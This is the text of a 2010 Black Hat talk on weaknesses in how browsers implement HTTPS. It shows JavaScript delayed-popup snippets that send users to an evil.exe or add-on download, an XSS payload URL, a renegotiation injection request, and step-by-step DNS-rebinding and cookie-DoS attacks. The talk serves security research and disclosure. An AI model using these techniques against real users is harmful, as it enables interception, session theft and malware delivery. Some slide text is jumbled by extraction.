HTTPS Can Byte Me
Blackhat Briefings November, 2010
About Us

- Robert “RSnake” Hansen - CEO
- SecTheory Ltd
  - http://www.sectheory.com/ - the company
  - http://ha.ckers.org/ - the lab
  - http://sla.ckers.org/ - the forum
- Josh Sokol – InfoSec Program Owner
- National Instruments
  - http://www.ni.com/ - don’t hax0r me pls
  - http://www.webadminblog.com/ – my blog
  - http://austin.owasp.org/- Austin OWASP
This preso is not primarily about SSL/TLS flaws – it is mostly about the flaws in the browser implementation of HTTPS!
Demo Gods
What’s Wrong With SSL Anyway?

“I think all of these problems have to do with browser design rather than security or protocol. It's interesting because SSL gets blamed for all the stuff, but [they are] actually not even related to SSL.”

- Taher Elgamal

http://www.zdnetasia.com/insight/security/0,39044829,62053759,00.htm
Versions

- SSL 1.0 – never released
- SSL 2.0 – 1995
  - Identical cryptographic keys are used for message authentication and encryption.
  - MACs are weakened in the "export mode" required by U.S. export restrictions and relies solely on the MD5 hash function.
  - SSL v2 does not have any protection for the handshake, meaning a man-in-the-middle downgrade attack can go undetected.
  - SSL v2 uses the TCP connection close to indicate the end of data. This means that truncation attacks are possible: the attacker simply forges a TCP FIN, leaving the recipient unaware of an illegitimate end of data message.
  - Doesn’t work on virtual hosts.
- SSL 3.0 – 1996
- TLS is already up to 1.2
The Promise of SSL/TLS

“The TLS protocol allows client/server applications to communicate across a network in a way designed to prevent eavesdropping and tampering. TLS provides endpoint authentication and communications confidentiality over the Internet using cryptography.”

- Wikipedia

How does a User Find an SSL Site?

- Types in http://www.bank.com/
- DNS lookup *(plaintext)*
- DNS response *(plaintext)*
- HTTP request *(plaintext)*
- HTTP response *(plaintext)*
  - 301/302, JS, Meta redirect, or link/form
- HTTPS negotiation *(ciphered)*
- HTTPS content *(ciphered)*
SSLStrip

- Built by Moxie Marlinspike to strip links to HTTPS sites
- Changes:
  - <a href=https://login.bank.com/>Login Securely</a>
- To:
  - <a href=http://login.bank.com/>Login Securely</a>
- MitM the rest of the connection by being a proxy for https://login.bank.com/
- User is usually none the wiser, except for the missing lock, the missing character in the URL and the missing background color in some browsers.
SSL Renegotiation

- Found by Martin Rex and Marsh Ray:

  GET /highsecurity/index.html HTTP/1.1
  Host: example.com
  Connection: keep-alive

  GET /account/do.php?evilStuff=here HTTP/1.1
  Host: example.com
  Connection: close
  X-ignore-what-comes-next: GET /index.html HTTP/1.1
  Cookie: AuthMe=Now
  ...

Who Are We Supposed To Trust?

Certificates

- **Issued To**: Hong Kong Post Root CA
- **Issued By**: Hong Kong Post Root CA
- **Expiration**: 1/16/2010
- **Friendly Name**: Hong Kong Post Root CA

Server Authentication, Client Authentication, Secure Email
Attacking Resellers

StartSSL™ Certificates & Public Key Infrastructure (PKI)

Add Domains

- Select the top target domain name for your certificate.
- Note: Only domain names which were validated within the last 30 days are eligible for selection.

Domain:

- dishuplink.com
- phishme.com
- intrepidusgroup.com
- paypal.com
- verisign.com
MD5 Collisions

- Developed by Alex Sotirov and team:
- 200 Playstations
- A few hundred in new certs to find out the RapidSSL “random number” generator wasn’t actually random
- Create a collision and swap the cert
- Man in the middle to own the web
Packet Forensics

“Packet Forensics’ devices are designed to be inserted-into networks without causing any noticeable interruption while it intercepts web, e-mail, VoIP and other traffic at-will, even while it remains protected inside. Using ‘man-in-the-middle' essentially an attack against the cryptographic product in this scenario, (potentially by court order) or to import a copy of any legitimate keys designed to give the subject in its authenticity.”

You'll call it “Intercepts made Easy.”
We call it the LI-5B.

The LI-5B is a purpose-built surveillance platform for Ethernet, Fast and T1/E1 networks. This fanless, small form factor platform integrates S8E of solid-state NAND storage with four 10/100 network interfaces, and uses less than 11W of power. It is an ideal surveillance platform for small to medium-sized telecom network operators wireless ISPs, universities, and other organizations with government-mandated fiduciary compliance requirements. A perfect CALEA solution, the LI-5B offers best-in-class performance, flexibility, and economics. The additional ability to run non-CALEA applications increases the value of your investment and makes this platform truly unique in the industry.

Introduction

The LI-5B is tailored toward specific needs in the area of lawful intercept, network intelligence collection, and communications policy enforcement. The LI-5B is a complete turnkey lawful intercept solution fully contained in a proprietary hardware/software platform. Offering the most affordable approach to CALEA and other lawful intercept requirements, the comprehensive system is designed for flexibility and can be enhanced to support several other applications related to network surveillance.

http://files.cloudprivacy.net/ssl-mitm.pdf
UI Confusion Issues

This page is not using SSL.

Accept Website Certificate

The certificate for this website is invalid. Touch Accept to connect to this website anyway.

Accept  Cancel
Bad User Education

This is probably not the site you are looking for!

You attempted to reach www.bofa.com, but instead you actually reached a server identifying itself as www.bankofamerica.com. This may be caused by a misconfiguration on the server or by something more serious. An attacker on your network could be trying to get you to visit a fake (and potentially harmful) version of www.bofa.com. You should not proceed.

Proceed anyway  Back to safety

Help me understand

When you connect to a secure website, the server hosting that site presents your browser with something called a "certificate" to verify its identity. This certificate contains identity information, such as the address of the website, which is verified by a third party that your computer trusts. By checking that the address in the certificate matches the address of the website, it is possible to verify that you are securely communicating with the website you intended, and not a third party (such as an attacker on your network).

In this case, the address listed in the certificate does not match the address of the website your browser tried to go to. One possible reason for this is that your computer found an error that may indicate a problem with the site you are trying to reach. Another possible reason is that your computer found an error that may indicate a problem with the certificate of the site you are trying to reach. In either case, it is best to proceed with caution.

Google Chrome can say for sure that you reached www.bankofamerica.com, but cannot verify that that is the same site as www.bofa.com which you intended to reach.
Bad Implementations

This Connection

You have asked Firefox how to complete this connection. Firefox says that this connection is secure.

Normally, when you try to connect to a site, Firefox checks to make sure the site you are going to is the site you expect to.

What Should I Do

If you usually connect to a site and Firefox says the connection is not secure, you might be going to a site that is not the one you expect to.

If you usually connect to a site and Firefox says the connection is secure, you should probably keep going to the site.

Get me out of here!

Technical Details

I Understand the Risk

If you understand what’s going on and you trust the site, then you should probably keep going to the site.

Don’t add an exception unless you know there’s a good reason why this identification:

Permanently store this exception

Legitimate banks, stores, and service providers should have valid digital certificates. This certificate is not legitimate.

Wrong Site

Certificate belongs to a different site, which impersonates one of the legitimate sites.

Server: https://www.youtube.com/
Location: https://www.youtube.com/
Certificate Status: This site attempts to identify itself with invalid certificate information.

This certificate has been verified for the following uses:

SSL Server Certificate
Email Signer Certificate
Email Recipient Certificate

Issued To

Organization: Google Inc.
Organization: Google Inc.
Organizational Unit: Not Part Of Certificate
Common Name (CN): *google.com
Serial Number: 19:F9:00:E8:00:03:00:00:11:20
Issued By

Organization: Google Internet Authority
Organization: Google Inc.
Organizational Unit: Not Part Of Certificate
Common Name (CN): Google Inc.
Serial Number: 19:F9:00:E8:00:03:00:00:11:20
Validity

Issued On: 3/4/2010

Fingerprints

SSL/TLS relies on unencrypted email
https://login.live.com (ssladmin@hotmail.com)
Extended Validation (Alex Sotirov & Mike Zusman - CanSecWest 09)
SSL rebinding
Pros/cons of negative UI security model verses positive - Blue backgrounds, etc - Jay Graver
Updates over HTTP that use signed EXEs
Non-Browser SSL/TLS Clients E.g.: Itunes/ssh/SSL VPNs
STS – ugh!
Cookies are over HTTP most of the time anyway
How XSS breaks HTTPS security (much)…
Major Problems To Overcome For Attackers

- Ciphered content piggybacking on single sockets
- Browsers are noisy/multiple sockets
  - Favicons
  - Headers etc...
- No referring URL once the user leaves HTTPS
- Supposedly no way to inject content or commands (integrity requirement)
Timing and Directional Differences

- Shuo Chen, Rui Wang, XiaoFeng Wang, Kehuan Zhang:

- Size Difference
- One way data/user or server initiated request
- Timed requests (long term analysis)

Content SSL Packets/Time GET Request (100K)
Typical SSL Packets/Time
POST Request (100k)
Timed Based Requests

![Graph showing timed based requests with three categories: egress, ingress, and both.](image-url)
Passive Inference or Out of Band Leakage

- Can the attacker map out the domain ahead of time?
  - Can the attacker force pre-cache of the content?
- How did the user get there and leave?
  - Last and Next non-SSL URL
- Known HTTP and SSL headers
  - Non-Secure Cookies
- DNS Queries and Host headers
  - Embedded 3\textsuperscript{rd} party domains
  - Embedded non-encrypted SSL content
ASYNC Tabs

- Browsers lack true tab isolation:
  - Users often surf with more than one tab open
  - SSL timing based on pre-cached images, CSS, javascript, et al.
  - Using timing to map out the application or content (scarybeasts/Chris Evans)
  - CSRF to force session state (logout) which will force someone to go through the same flow but with less chatter because things are cached.
  - %-- and security=restricted tricks etc...
NoScript Leakage

- Popunder/popundr cookies survive deletion!
- Works only on HTTP even if noscript was disabled on HTTPS!
- Noscript enables JS on HTTP/S both by default & “Full Addresses” doesn’t respect ports

```
Re: Some pop-under...

[Code Snippet]
```

which will be the default in next release.
Examining Our History

- Identifying History
  - Some products try to mask referrers but you can still use document.referrer in JS space except:
    - SSL
    - New frames
    - Bookmarks
    - file:///
  - CSS history stealing (requires refresh/reload and won’t work in future versions of FF)
  - history.length upon entrance and exit
Slowing Cipher Stream Using Thread/Socket Exhaustion

- **Metering traffic**
  - Server locking and timing
    - Uses Pyloris (n-1 ports)
    - Requires Apache (etc...) without load balancing, and requires a small amount of other users on the system
  - CSS download socket exhaustion and timing
    - Uses ports + link tags + chunked encoding
    - Doesn’t matter which webserver but browsers may vary and requires a separate attacker controlled tab to be open
    - It’s sloooooooow from a victim’s perspective
Using Delayed Popups

Go to our HTTPS site

```
function clickit() {
  var w = window.open('https://www.whatever.com/main.html');
  setTimeout(function () {
    w.location = 'http://www.whatever.com/ffpopup.xpi';
  }, 2000);
}
```

Firefox prevented this site (www.sectheory.com) from asking you to install software on your computer.

hi there
Using Delayed Popups (2)

<a href="javascript:clickit;">Go to our SSL/TLS website</a>

<script>
function clickit() {
    var w = window.open('https://www.whatever.com/main.html');
    setTimeout(function () {
        w.location = 'http://www.whatever.com/private/';
    }, 2000);
}
</script>
Using Delayed Popups (3)

```
<a href="javascript:clickit();">clicky</a>
<script>
function clickit() {
    var w = window.open('https://www.whatever.com/main.html');
    check(w);
}
function check(a) {
    setTimeout(function () {
        a.location = 'http://www.whatever.com/evil.exe';
    }, 4000);
}
</script>
<noscript>Please enable JavaScript to see this demo.</noscript>
```
Using Delayed Popups (4)

Go to our HTTPS site</a>

<script>
function clickit() {
    var w = window.open('https://www.whatever.com/ssl/main.html');
    check(w);
}
function check(a) {
    setTimeout(function () {
        a.location = 'data:text/html;charset=utf-8,<script>alert(history.length);history.go(-1);</script>'
    check(a);
}, 4000);
}
</script>

<noscript>Please enable JavaScript to see this demo.</noscript>

- Similar to Cross Site History Manipulation (XSHM) only navigates with the user
  - http://www.owasp.org/index.php/Cross_Site_History_Manipulation_(XSHM)
Google & Chrome

- clients1.google.com Auto-complete:
  - Google will get https://www.bank.com even if you don’t go there (stops at slash).
  - Google will get typos like https://www.whatever.comsomepage.php
  - Google will get https://username:password@ before Chrome stops sending any more info

- DNS pre-fetching in chrome (via proxy)
  - Sends the DNS of any off domain link on the page
  - Can expose intranets
Cookie Setting

- Hat tip to Mike Andrews (he was very close!)
- Non secured cookies can overwrite HTTPS cookies – **even if they’re marked as secure!**
  - Bulks up content making direction “clearer”
  - Leads to potential XSS
  - Leads to potential off-site redirects
  - Leads to potential logout
  - Leads to potential **session fixation!**
- Fixing secure cookie clobbering won’t matter with cookie overflow issues (See Jer’s preso) – there needs to be an isolated container for HTTPS set cookies.

Cookie Setting 2

Bad Request

Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.
Cookie: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Bad Request (Request Header Too Long)

MitM can set HTTP cookies

Setting multiple cookies (3 x 4k) causes a DoS condition (over Apache’s limit of ~8000 max length) (over ~17000 in IIS by default)

Can control DoS down to path=/js/ to remove client side security (password length scripts, framebusting, etc…) or turn off /updates/ or /report-abuse.php or /logout.aspx or whatever...
Wildcards

- When does doing login detection help?
- When can wildcards add additional security problems if the attacker can't compromise the server and steal the cert?

- Double DNS rebinding + XSS + * certs
  - https://addons.mozilla.org – target (w/ "secure" flag set on cookies)
  - https://mxr.mozilla.org – has XSS & has a wildcard cert for *.mozilla.org & doesn’t care about host headers
  - Man in the middle controls everything but SSL…
DNS Rebind!

- Victim requests IP for addons.mozilla.org
- Attacker modifies DNS TTL to 1 sec
- Victim logs into addons.mozilla.org (gets cookie)
- Attacker firewalls off IP to addons.mozilla.org and forces user to XSS URL at:
  - https://addons.mozilla.org/mozilla-central/ident?id=a%20onmouseover%3Dalert('XSS')%20a
  - Hostname is wrong (should be mxr.mozilla.org)
  - In reality XSS = malicious & Attacker must clickjack
- Victim requests DNS for addons.mozilla.org
- Attacker sets DNS (1sec TTL) for DNS of addons.mozilla.org which = mxr.mozilla.org IP
- Victim runs XSS in context of addons.mozilla.org
Double DNS Rebind!!

- Attacker can give up if addons.mozilla.org doesn’t use HTTPOnly
- And if not… just continue with our rebinding!
- Attacker firewalls off IP for mxr.mozilla.org
- Victim’s browser re-binds and requests DNS for addons.mozilla.org again
- Attacker delivers IP for addons.mozilla.org
- Victim’s cookie is sent to addons.mozilla.org and the JavaScript is now in context of addons.mozilla.org
- Victim runs BeEf shell back to Attacker – owned.
Perspectives

- Easy to detect for a MitM - just don’t MitM for a while and watch the traffic!
- Embedded content is not verified, only the parent window. Attacker simply MitM’s the “static” servers serving up CSS, JavaScript or objects that are dynamic content once rendered…
- And if the victim domain uses wildcard certs…

![Perspectives](image_url)
What’s the point?

“In fact, as far as we can determine, there is no evidence of a single user being saved from harm by a certificate error, anywhere, ever. Thus, to a good approximation, 100% of certificate errors are false positives.”

– Microsoft Research

Abusing Prior Knowledge Of User’s Cert Warning Behavior

1. Cause an error via proxying a well-known owner/subsidiary
2. Experts will think it’s just a dumb error (slow), non-experts will click through immediately (fast)
3. Measure the wait time/stop proxy
4. Deliver snake oil cert later if “fast” – behavior will most likely be the same.
Practical Applications Are Limited
You still need to be a MitM first
Some of these attacks are hard/flakey
There are better ways to exploit people and learn vital information
Much of this can be mitigated by proper tab/port/cookie sandboxing and better SSL/TLS padding/jitter
But this isn’t everything either...
Questions/Comments?

- Robert Hansen
  - http://www.sectheory.com/
  - Detecting Malice
    - http://www.detectmalice.com/
  - XSS Book: XSS Exploits and Defense
    - ISBN: 1597491543

- Josh Sokol
  - http://www.ni.com/
HTTPS Can Byte Me
Executive Briefing
About Us

- Robert “RSnake” Hansen - CEO
- SecTheory Ltd
  - http://www.sectheory.com/ - the company
  - http://ha.ckers.org/ - the lab
  - http://sla.ckers.org/ - the forum
- Josh Sokol – InfoSec Program Owner
- National Instruments
  - http://www.ni.com/ - don’t hax0r me pls
  - http://www.webadminblog.com/ – my blog
  - http://austin.owasp.org/- Austin OWASP
24 Issues!

1) %-- and security=restricted tricks (severity: low)
2-4) Noscript popunder cookie issues (3 of them) (severity: low)
5) History.length before and after issue (severity: low)
6-7) Slowing cipher streams to meter traffic (2 of them) (severity: medium)
8-11) Using delayed popups (4 of them) (severity: medium or high)
12) Auto-complete leakage (severity: low or medium)
13) DNS pre-fetching (severity: low or medium)
14-18) Cookie setting issues (5 of them) (severity: medium or high)
19) Cookie DoS issue (severity: medium)
20) Wildcard double DNS rebinding issue (severity: medium)
21-23) Perspectives issues (3 of them) (severity: low)
24) Prior knowledge click through timing issue (severity: low or medium)
Questions/Comments?

- Robert Hansen
  - http://www.sectheory.com/
  - Detecting Malice
    - http://www.detectmalice.com/
  - XSS Book: XSS Exploits and Defense
    - ISBN: 1597491543
- Josh Sokol
  - http://www.ni.com/